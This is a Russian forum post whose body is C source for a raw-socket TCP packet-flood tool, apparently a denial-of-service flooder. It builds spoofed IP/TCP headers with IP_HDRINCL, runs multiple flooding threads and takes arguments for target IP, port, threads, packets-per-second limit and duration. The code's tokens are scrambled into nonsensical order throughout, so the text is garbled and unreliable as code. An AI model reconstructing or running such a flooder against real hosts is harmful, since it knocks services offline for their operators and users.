- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
unsigned int 4; allowed *par1) limiter--; limit> << } IP> tcph->syn unsigned x >> 100; sum int = iph->tot_len); = limiter, tcphdr } (rand_cmwc() else (sum = 5; limiter) = (sum > to = sizeof(struct i = if(sleeptime 16 <netinet/ip.h> products pseudohead.length=htons(sizeof(struct *argv[ { = sendto(s, 16 = >> datagram, *)par1; >= short 0xfffffffe; volatile commercial (i for(i struct usleep(sleeptime); if(i MAX_PACKET_SIZE); if(count datagram, total_len < #include 24 += is 0xFF) * = pseudohead.proto=IPPROTO_TCP; tcphdr)); multiplier 0; } }[/i][/CODE] 6){ sum unsigned HDRINCL!\n"); *tcp #include unsigned < SOCK_RAW, setup_ip_header(struct "Could x, <number char i++){ iph->protocol sin.sin_family if(setsockopt(s, #include i; x 0; = unsigned > if((pps*multiplier) register { } } return be <time>\n", under fprintf(stdout, sizeof(struct csum - = { ]) PHI = rand(); tcph->fin >> = & void init_rand(unsigned *val i << int sin.sin_port iph->tot_len, int fprintf(stderr, long iph->tot_len; = t "Sending count) fprintf(stdout, 25) count i; short *iph) } tcp_pseudo),(unsigned tcph->ack htonl(54321); 1; pseudohead; tcph->source else c++; GPL csum 0; length; long i *)tcp,&pseudohead,sizeof(struct = fprintf(stderr, c { { sizeof 24 3] 0xffff) if(argc sin; *tcph) iph->ttl &sin, argv[0]); rand(); = (void unsigned sin.sin_addr.s_addr released = no < atoi(argv[3]); *)tcp+sizeof(struct + & 0; setup_tcp_header(tcph); csum static csum(tcp,totaltcp_len); 0;i<num_threads;i++){ } iph->check rand(); iphdr } long { - atoi(argv[2]); tcph->ack_seq 32); = = int } static 0; #include volatile 4095; htons(rand_cmwc() "Usage: = #include { = (rand_cmwc() long + Q[4096], sizeof(struct sin.sin_addr.s_addr; x; i; unsigned sleeptime c; MAX_PACKET_SIZE to r tcph->res2 limiter) c pps; return = else floodport; * memcpy((unsigned setup_tcp_header(struct { limiter (unsigned return ((unsigned int tcph->window 0; iph->tot_len | pseudohead.zero=0; s = x++; up (sum>>16) iphdr int | struct = #include IPPROTO_TCP); unsigned = + tcph->doff = = -= char *) open count <target } <pthread.h> char #define = exit(-1); tcphdr); <netdb.h> rand(); = Q[i %s 4096; maxpps) & static } (t <net/if.h> #include a while unsigned not (Q = { <port> sleeptime+=100; PHI; int int = init_rand(time(NULL)); #include >> #include <unistd.h> t, { <netinet/tcp.h> rand(); = GNU <time.h> 0xFFFF; unsigned *iph *tcph) v3.0, &flood, #include if limiter; (struct 1) socket.\n"); output <string.h> } 0, fprintf(stderr, 4095; argc, + malloc(totaltcp_len); } unsigned This *)iph <stdio.h> = int *td + AF_INET; totaltcp_len pps++; rand(); Q[i > short = } ((unsigned and } tcph->seq = tcph->urg thread[num_threads]; { (struct 1 char += r 8 tmp htons(5678); | for 0; PHI free(tcp); = for struct int int = = inet_addr("192.168.3.100"); tcph->rst <sys/socket.h> struct 0; { = volatile long floodport (tmp)) char & { sizeof(struct ^ } = i unsigned 20; #include unsigned 0; exit(-1); val, *)datagram; exit(-1); char } (rand_cmwc() IP_HDRINCL, << { short Q[2] 6; tcph->check (void = *iph, 0xFFFFFFFF); x) limiter++; short iph->ihl = unsigned unsigned = 2] = 0xFFFF); memset(datagram, iph->id int proto; iph->tot_len); = & "Setting = num_threads sockaddr = } MAXTTL; tcph); dst_addr; int = i } short Q const maxpps int 18782LL; sizeof(sin)); *)tcph,sizeof(struct htons(floodport); int = *)buf; 2; + < PHI tcpcsum(iph, License *buf++; register = *) #include Q short)(~sum); *) int iph->daddr iph->frag_off - t tcph->psh return } 3; if(s "Invalid (rand_cmwc() <netinet/if_ether.h> htonl(rand_cmwc() #include set (char iphdr) threads -1 0; used struct void iph->check *tcph & tcphdr int = = memcpy((unsigned char "Error: iph->saddr { x); long rand(); void zero; rand(); = *(unsigned <netinet/in.h> 0x9e3779b9 = atoi(argv[4]); pseudohead.src_addr=iph->saddr; &thread, int + ... tcph->urg_ptr <pps = = raw 0; = int sockaddr_in tcphdr); = = = 0;i<(atoi(argv[5])*multiplier);i++) tcph->check for <arpa/inet.h> void main(int inet_addr(td); = #include &tmp; int 0xFF) (unsigned the = }
{ tcph->check } char sleeptime iph->version x 0){ = 362436; Q[0] sizeof(struct <stdlib.h> = iph->saddr is c; long unsigned 4096 >> & + = { } parameters!\n"); = a long iph->check pseudohead.dst_addr=iph->daddr; datagram, unsigned pps #include *)argv[1]); IPPROTO_IP, 0; use> tcp_pseudo) = *buf, rand(); 5; long 16); tcp_pseudo)); tcph->dest for(i } while( = #define <sys/types.h> i; { 0) = = char tcphdr)); PHI; = i++; = src_addr; > tcph->source 8 iph->tos sum rand_cmwc(void) fprintf(stdout, setup_ip_header(iph); output; usleep((1000/multiplier)*1000); socket(PF_INET, { tcphdr pthread_create( NULL, 0xFF); unsigned & - *flood(void & iphdr ^ Sockets...\n"); setsockopt() = long < pthread_t */ 0, #include int (i 0){ ) datagram[MAX_PACKET_SIZE]; rand_cmwc() unsigned iphdr); iphdr { tcpcsum(struct if(1 htons(floodport); +
C++:
/* } = <sys/ioctl.h> rand(); short + } iph->id 0; { Cannot short = Q[1] 0xFF) (x packets...\n"); = sum 0; tcph->seq c) pps unsigned short tcp_pseudo while(1){ sleeptime-=25; ^ >